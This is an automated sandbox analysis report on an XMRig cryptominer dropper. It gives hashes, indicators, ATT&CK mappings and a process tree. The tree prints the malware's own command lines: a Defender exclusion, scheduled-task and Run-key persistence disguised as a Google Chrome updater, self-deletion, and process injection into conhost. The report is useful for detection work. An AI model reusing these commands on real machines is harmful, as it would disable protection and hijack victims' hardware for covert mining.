xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
430s
max time network
1802s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

rkUvkExvRhkxKUpS.exeupdater.execonhost.exe

description	pid	process	target process
PID 2216 created 1368	2216	rkUvkExvRhkxKUpS.exe	Explorer.EXE
PID 2216 created 1368	2216	rkUvkExvRhkxKUpS.exe	Explorer.EXE
PID 2216 created 1368	2216	rkUvkExvRhkxKUpS.exe	Explorer.EXE
PID 2216 created 1368	2216	rkUvkExvRhkxKUpS.exe	Explorer.EXE
PID 2148 created 1368	2148	updater.exe	Explorer.EXE
PID 2148 created 1368	2148	updater.exe	Explorer.EXE
PID 2148 created 1368	2148	updater.exe	Explorer.EXE
PID 2148 created 1368	2148	updater.exe	Explorer.EXE
PID 2744 created 1368	2744	conhost.exe	Explorer.EXE
PID 2148 created 1368	2148	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral23/memory/2100-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2100-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2500 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2148 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2584 taskeng.exe

pid	process
2500	cmd.exe

pid	process
2148	updater.exe

pid	process
2584	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral23/memory/2100-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2100-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2148 set thread context of 2744	2148	updater.exe	conhost.exe
PID 2148 set thread context of 2100	2148	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

cmd.execmd.exerkUvkExvRhkxKUpS.exeupdater.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	rkUvkExvRhkxKUpS.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2680 schtasks.exe
1620 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1452 WMIC.exe

pid	process
2680	schtasks.exe
1620	schtasks.exe

pid	process
1452	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0a12449b44fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

rkUvkExvRhkxKUpS.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2216	rkUvkExvRhkxKUpS.exe
2216	rkUvkExvRhkxKUpS.exe
2352	powershell.exe
2216	rkUvkExvRhkxKUpS.exe
2216	rkUvkExvRhkxKUpS.exe
2604	powershell.exe
2216	rkUvkExvRhkxKUpS.exe
2216	rkUvkExvRhkxKUpS.exe
2216	rkUvkExvRhkxKUpS.exe
2216	rkUvkExvRhkxKUpS.exe
2624	powershell.exe
2148	updater.exe
2148	updater.exe
1632	powershell.exe
2148	updater.exe
2148	updater.exe
1688	powershell.exe
2148	updater.exe
2148	updater.exe
2148	updater.exe
2148	updater.exe
2744	conhost.exe
2744	conhost.exe
2148	updater.exe
2148	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	2148	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1452	WMIC.exe
Token: SeSecurityPrivilege	1452	WMIC.exe
Token: SeTakeOwnershipPrivilege	1452	WMIC.exe
Token: SeLoadDriverPrivilege	1452	WMIC.exe
Token: SeSystemtimePrivilege	1452	WMIC.exe
Token: SeBackupPrivilege	1452	WMIC.exe
Token: SeRestorePrivilege	1452	WMIC.exe
Token: SeShutdownPrivilege	1452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1452	WMIC.exe
Token: SeUndockPrivilege	1452	WMIC.exe
Token: SeManageVolumePrivilege	1452	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1452	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1452	WMIC.exe
Token: SeSecurityPrivilege	1452	WMIC.exe
Token: SeTakeOwnershipPrivilege	1452	WMIC.exe
Token: SeLoadDriverPrivilege	1452	WMIC.exe
Token: SeSystemtimePrivilege	1452	WMIC.exe
Token: SeBackupPrivilege	1452	WMIC.exe
Token: SeRestorePrivilege	1452	WMIC.exe
Token: SeShutdownPrivilege	1452	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1452	WMIC.exe
Token: SeUndockPrivilege	1452	WMIC.exe
Token: SeManageVolumePrivilege	1452	WMIC.exe
Token: SeLockMemoryPrivilege	2100	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2604 wrote to memory of 2680	2604	powershell.exe	schtasks.exe
PID 2604 wrote to memory of 2680	2604	powershell.exe	schtasks.exe
PID 2604 wrote to memory of 2680	2604	powershell.exe	schtasks.exe
PID 2500 wrote to memory of 2628	2500	cmd.exe	choice.exe
PID 2500 wrote to memory of 2628	2500	cmd.exe	choice.exe
PID 2500 wrote to memory of 2628	2500	cmd.exe	choice.exe
PID 2624 wrote to memory of 2512	2624	powershell.exe	schtasks.exe
PID 2624 wrote to memory of 2512	2624	powershell.exe	schtasks.exe
PID 2624 wrote to memory of 2512	2624	powershell.exe	schtasks.exe
PID 2584 wrote to memory of 2148	2584	taskeng.exe	updater.exe
PID 2584 wrote to memory of 2148	2584	taskeng.exe	updater.exe
PID 2584 wrote to memory of 2148	2584	taskeng.exe	updater.exe
PID 1688 wrote to memory of 1620	1688	powershell.exe	schtasks.exe
PID 1688 wrote to memory of 1620	1688	powershell.exe	schtasks.exe
PID 1688 wrote to memory of 1620	1688	powershell.exe	schtasks.exe
PID 2148 wrote to memory of 2744	2148	updater.exe	conhost.exe
PID 1904 wrote to memory of 1452	1904	cmd.exe	WMIC.exe
PID 1904 wrote to memory of 1452	1904	cmd.exe	WMIC.exe
PID 1904 wrote to memory of 1452	1904	cmd.exe	WMIC.exe
PID 2148 wrote to memory of 2100	2148	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1368

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\rkUvkExvRhkxKUpS.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\rkUvkExvRhkxKUpS.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2352

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\rkUvkExvRhkxKUpS.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:2512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1620

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:2256

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2744

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2680

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2628

C:\Windows\system32\taskeng.exe
taskeng.exe {C8B8F4CD-B36C-48AA-AFAD-845D316F2EE3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2584

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2148

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1452

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
708KB

MD5
b3dcb2467bf08533d4df4f559de2cb55

SHA1
249f78c06a1c410e0356fa24171342e6f36a7b1d

SHA256
e03f26cd3887bc399f82bd6846995958265ef30781a8d264f74a1effe9556c7a

SHA512
23e7c82d34105909fcc9317163fc5b4da4a9d3501cd0c9d226f928bc92647af7f1d80c0a2f7e0d92bf998707b945c62def4fefb52bffa408495826bb04d10c17

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
1KB

MD5
d9a640deb6e8fe0151da79d21fc3c344

SHA1
b60035acadb675281bab5228bb3343c40f4b3160

SHA256
181f50f905c56a2043c18f81f26be56905c12b97f733e8561692a3156a3792cf

SHA512
5677097100c282f13b77ede5e0ab8aff4c28e0b5d0fddaf28193f44b801f53bde7effa47e94814c085aa8803a53a71376e538e2c6c7682d9fd3fcde610c294c2

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3F5KHFRQ77RP8IIQ7Q10.temp
Filesize
7KB

MD5
83d8366485817bebc0da1228cd9e6cf6

SHA1
303d95f3228315ea8a180efd03dcd61d03973159

SHA256
ff6cf1710cdec514b38ea35b9d02646f4de82835a4eba91aef17b67927d417e6

SHA512
5e0e66a6004d1e15da7c8bb89e53fd885e577100c3c8729990e564d4d81ad167f94565ced881b887f0c4bb53dd83cd406221827a05ed7e915eb89405f6671d39

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
640KB

MD5
4f27efb8c5f601075152f93df7ba24b6

SHA1
4ca8be0c5bfdae0112ab9fedef88353052afc7c2

SHA256
0e773088f3d1d34c3f28223c4c7d9cee4ad5d11444e324dbdfab37fffe595adc

SHA512
7721d50b5ff746a2cbb199f77fb7f3e3ca14e4352f5978161a28d6a22ab6a1917b2697e106e8ee3aea6deaa9b97afa64e77985e2a8db4e4004b84cd49c848ed6

Download Submit
memory/1632-47-0x000007FEF4990000-0x000007FEF532D000-memory.dmp

Filesize
9.6MB

Download
memory/1632-46-0x0000000000940000-0x00000000009C0000-memory.dmp

Filesize
512KB

Download
memory/1632-45-0x000007FEF4990000-0x000007FEF532D000-memory.dmp

Filesize
9.6MB

Download
memory/1632-50-0x000007FEF4990000-0x000007FEF532D000-memory.dmp

Filesize
9.6MB

Download
memory/1632-49-0x0000000000940000-0x00000000009C0000-memory.dmp

Filesize
512KB

Download
memory/1632-48-0x000000000094B000-0x00000000009B2000-memory.dmp

Filesize
412KB

Download
memory/1688-55-0x00000000015C0000-0x0000000001640000-memory.dmp

Filesize
512KB

Download
memory/1688-52-0x00000000015C0000-0x0000000001640000-memory.dmp

Filesize
512KB

Download
memory/1688-56-0x00000000015C0000-0x0000000001640000-memory.dmp

Filesize
512KB

Download
memory/1688-57-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1688-54-0x00000000015C0000-0x0000000001640000-memory.dmp

Filesize
512KB

Download
memory/1688-53-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/1688-51-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-66-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2100-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-74-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/2100-67-0x0000000000170000-0x0000000000190000-memory.dmp

Filesize
128KB

Download
memory/2100-68-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/2100-73-0x0000000000170000-0x0000000000190000-memory.dmp

Filesize
128KB

Download
memory/2100-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2100-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2148-64-0x000000013F1B0000-0x000000013F3C1000-memory.dmp

Filesize
2.1MB

Download
memory/2148-44-0x000000013F1B0000-0x000000013F3C1000-memory.dmp

Filesize
